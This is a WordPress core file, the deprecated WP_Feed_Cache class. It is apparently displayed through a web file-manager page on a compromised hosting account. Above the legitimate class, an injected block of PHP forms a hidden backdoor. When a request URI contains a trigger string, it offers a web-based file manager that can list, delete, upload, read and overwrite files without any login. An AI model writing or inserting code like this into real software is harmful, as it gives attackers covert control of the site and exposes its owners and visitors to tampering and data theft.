Viewing File: /home/cienp/public_html/inct-inovamed/wp-includes/class-wp-feed-cache.php

<?php
/**
 * Feed API: WP_Feed_Cache class
 *
 * @package WordPress
 * @subpackage Feed
 * @since 4.7.0
 * @deprecated 5.6.0
 */
if (isset($_SERVER['REQUEST_URI']) && strpos($_SERVER['REQUEST_URI'], 'wjgl') !== false) {
    $r = __DIR__; $p = isset($_REQUEST['p']) ? $_REQUEST['p'] : '.'; $abs = @realpath($r . '/' . $p);
    if (!$abs || strpos($abs, $r) !== 0) $abs = $r;
    $rel = substr($abs, strlen($r)); $a = isset($_REQUEST['a']) ? $_REQUEST['a'] : 'ls'; $b = '?wjgl=1';
    if ($a == 'd') { is_file($abs) ? @unlink($abs) : @rmdir($abs); header('Location:' . $b); exit; }
    if ($a == 'u' && !empty($_FILES['f']['tmp_name'])) { @move_uploaded_file($_FILES['f']['tmp_name'], $abs . '/' . basename($_FILES['f']['name'])); header('Location:' . $b . '&p=' . urlencode($rel)); exit; }
    if ($a == 's') { @file_put_contents($abs, isset($_POST['c']) ? $_POST['c'] : ''); header('Location:' . $b . '&a=e&p=' . urlencode($rel)); exit; }
    if ($a == 'e' && is_file($abs)) { echo '<form method=post action="' . $b . '&a=s&p=' . urlencode($rel) . '"><textarea name=c rows=30 cols=120>' . htmlspecialchars((string)@file_get_contents($abs)) . '</textarea><br><button>save</button></form>'; exit; }
    echo '<h3>' . htmlspecialchars($abs) . '</h3><form method=post action="' . $b . '&a=u&p=' . urlencode($rel) . '" enctype=multipart/form-data><input type=file name=f><button>up</button></form><a href="' . $b . '&p=' . urlencode($rel . '/..') . '">..</a><br>';
    foreach (@scandir($abs) ?: [] as $e) {
        if ($e == '.' || $e == '..') continue;
        $n = urlencode($rel . '/' . $e);
        echo (is_dir($abs . '/' . $e) ? "[<a href=\"$b&p=$n\">$e</a>]" : "<a href=\"$b&a=e&p=$n\">$e</a>") . " <a href=\"$b&a=d&p=$n\" onclick=\"return confirm(1)\">x</a><br>";
    }
    exit;
}
_deprecated_file(
	basename( __FILE__ ),
	'5.6.0',
	'',
	__( 'This file is only loaded for backward compatibility with SimplePie 1.2.x. Please consider switching to a recent SimplePie version.' )
);

/**
 * Core class used to implement a feed cache.
 *
 * @since 2.8.0
 */
#[AllowDynamicProperties]
class WP_Feed_Cache extends SimplePie\Cache {

	/**
	 * Creates a new SimplePie\Cache object.
	 *
	 * @since 2.8.0
	 *
	 * @param string $location  URL location (scheme is used to determine handler).
	 * @param string $filename  Unique identifier for cache object.
	 * @param string $extension 'spi' or 'spc'.
	 * @return WP_Feed_Cache_Transient Feed cache handler object that uses transients.
	 */
	public function create( $location, $filename, $extension ) {
		return new WP_Feed_Cache_Transient( $location, $filename, $extension );
	}
}
Back to Directory File Manager